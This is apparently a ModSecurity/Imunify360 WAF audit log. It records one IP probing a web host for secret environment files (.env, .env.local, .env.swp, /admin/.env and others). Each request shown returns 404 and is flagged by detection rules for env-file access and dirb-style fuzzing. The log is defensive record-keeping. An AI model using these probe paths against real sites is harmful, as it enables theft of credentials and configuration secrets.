--b8bf7125-A--
[13/Sep/2026:05:32:40.493372 +0300] aqYLSDTJ6xTvcJoem7f1bwAAAEU 34.175.231.24 36782 127.0.0.1 7081
--b8bf7125-B--
GET /.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--b8bf7125-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--b8bf7125-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/.env"] [unique_id "aqYLSDTJ6xTvcJoem7f1bwAAAEU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266760362896 130558 (- - -)
Stopwatch2: 1789266760362896 130558; combined=5692, p1=306, p2=5306, p3=0, p4=0, p5=79, sr=135, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b8bf7125-Z--

--6d405511-A--
[13/Sep/2026:05:32:41.273105 +0300] aqYLSWM7dE9KgIIOpQhddgAAAMw 34.175.231.24 36794 127.0.0.1 7081
--6d405511-B--
GET /.env.local HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--6d405511-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--6d405511-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "ebcon.happy-digital.ro"] [uri "/.env.local"] [unique_id "aqYLSWM7dE9KgIIOpQhddgAAAMw"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/.env.local"] [unique_id "aqYLSWM7dE9KgIIOpQhddgAAAMw"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266761126224 146968 (- - -)
Stopwatch2: 1789266761126224 146968; combined=32336, p1=267, p2=31999, p3=0, p4=0, p5=70, sr=106, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6d405511-Z--

--e60bf642-A--
[13/Sep/2026:05:33:13.937526 +0300] aqYLaUwu1RSkptiiNIXtkAAAAI4 34.175.231.24 51066 127.0.0.1 7081
--e60bf642-B--
GET /.env.swp HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--e60bf642-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--e60bf642-H--
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:.env.swp||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:.env.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "ebcon.happy-digital.ro"] [uri "/.env.swp"] [unique_id "aqYLaUwu1RSkptiiNIXtkAAAAI4"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266793797040 140550 (- - -)
Stopwatch2: 1789266793797040 140550; combined=6987, p1=1030, p2=5813, p3=0, p4=0, p5=144, sr=840, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e60bf642-Z--

--0277ca29-A--
[13/Sep/2026:05:33:16.051053 +0300] aqYLa2M7dE9KgIIOpQhdgQAAAM0 34.175.231.24 49332 127.0.0.1 7081
--0277ca29-B--
GET /.env~ HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--0277ca29-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--0277ca29-H--
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:.env~||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:.env~||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "ebcon.happy-digital.ro"] [uri "/.env~"] [unique_id "aqYLa2M7dE9KgIIOpQhdgQAAAM0"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266795882279 168829 (- - -)
Stopwatch2: 1789266795882279 168829; combined=4779, p1=336, p2=4361, p3=0, p4=0, p5=82, sr=118, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--0277ca29-Z--

--38f08864-A--
[13/Sep/2026:05:33:31.036663 +0300] aqYLeisVWymXUono-eRQrAAAAAk 34.175.231.24 40044 127.0.0.1 7081
--38f08864-B--
GET /app/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--38f08864-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--38f08864-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/app/.env"] [unique_id "aqYLeisVWymXUono-eRQrAAAAAk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266810900391 136334 (- - -)
Stopwatch2: 1789266810900391 136334; combined=4408, p1=284, p2=4047, p3=0, p4=0, p5=77, sr=142, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--38f08864-Z--

--eb24ae76-A--
[13/Sep/2026:05:33:32.277344 +0300] aqYLfGM7dE9KgIIOpQhdhQAAAM8 34.175.231.24 40048 127.0.0.1 7081
--eb24ae76-B--
GET /apps/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--eb24ae76-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--eb24ae76-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/apps/.env"] [unique_id "aqYLfGM7dE9KgIIOpQhdhQAAAM8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266812130990 146421 (- - -)
Stopwatch2: 1789266812130990 146421; combined=5790, p1=351, p2=5346, p3=0, p4=0, p5=93, sr=137, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--eb24ae76-Z--

--1df93324-A--
[13/Sep/2026:05:33:33.765903 +0300] aqYLfWM7dE9KgIIOpQhdhgAAANE 34.175.231.24 40052 127.0.0.1 7081
--1df93324-B--
GET /api/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--1df93324-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--1df93324-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/api/.env"] [unique_id "aqYLfWM7dE9KgIIOpQhdhgAAANE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266813651494 114463 (- - -)
Stopwatch2: 1789266813651494 114463; combined=4339, p1=347, p2=3928, p3=0, p4=0, p5=64, sr=162, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--1df93324-Z--

--1bce6e73-A--
[13/Sep/2026:05:33:35.272645 +0300] aqYLf2M7dE9KgIIOpQhdhwAAANM 34.175.231.24 40062 127.0.0.1 7081
--1bce6e73-B--
GET /web/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--1bce6e73-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--1bce6e73-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/web/.env"] [unique_id "aqYLf2M7dE9KgIIOpQhdhwAAANM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266815116840 155872 (- - -)
Stopwatch2: 1789266815116840 155872; combined=7048, p1=414, p2=6577, p3=0, p4=0, p5=56, sr=156, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--1bce6e73-Z--

--ec1b8144-A--
[13/Sep/2026:05:33:36.840687 +0300] aqYLgGM7dE9KgIIOpQhdiAAAANY 34.175.231.24 58804 127.0.0.1 7081
--ec1b8144-B--
GET /site/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--ec1b8144-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--ec1b8144-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/site/.env"] [unique_id "aqYLgGM7dE9KgIIOpQhdiAAAANY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266816718439 122304 (- - -)
Stopwatch2: 1789266816718439 122304; combined=4547, p1=311, p2=4128, p3=0, p4=0, p5=107, sr=141, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ec1b8144-Z--

--c4eaea5e-A--
[13/Sep/2026:05:33:38.619038 +0300] aqYLgmM7dE9KgIIOpQhdigAAAMY 34.175.231.24 58816 127.0.0.1 7081
--c4eaea5e-B--
GET /public/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--c4eaea5e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--c4eaea5e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/public/.env"] [unique_id "aqYLgmM7dE9KgIIOpQhdigAAAMY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266818502049 117052 (- - -)
Stopwatch2: 1789266818502049 117052; combined=4876, p1=253, p2=4568, p3=0, p4=0, p5=54, sr=112, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c4eaea5e-Z--

--d23aed6b-A--
[13/Sep/2026:05:33:39.901513 +0300] aqYLgzTJ6xTvcJoem7f1dQAAAFU 34.175.231.24 58826 127.0.0.1 7081
--d23aed6b-B--
GET /admin/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--d23aed6b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--d23aed6b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/admin/.env"] [unique_id "aqYLgzTJ6xTvcJoem7f1dQAAAFU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266819762112 139558 (- - -)
Stopwatch2: 1789266819762112 139558; combined=5213, p1=284, p2=4837, p3=0, p4=0, p5=91, sr=123, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d23aed6b-Z--

--4ea58e1d-A--
[13/Sep/2026:05:33:41.152427 +0300] aqYLhWM7dE9KgIIOpQhdiwAAAMU 34.175.231.24 58834 127.0.0.1 7081
--4ea58e1d-B--
GET /backend/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--4ea58e1d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--4ea58e1d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/backend/.env"] [unique_id "aqYLhWM7dE9KgIIOpQhdiwAAAMU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266821037515 114997 (- - -)
Stopwatch2: 1789266821037515 114997; combined=4421, p1=267, p2=4101, p3=0, p4=0, p5=53, sr=91, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--4ea58e1d-Z--

--c2335d71-A--
[13/Sep/2026:05:33:42.070718 +0300] aqYLhSsVWymXUono-eRQrQAAABI 34.175.231.24 58848 127.0.0.1 7081
--c2335d71-B--
GET /server/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--c2335d71-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--c2335d71-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/server/.env"] [unique_id "aqYLhSsVWymXUono-eRQrQAAABI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266821952642 118130 (- - -)
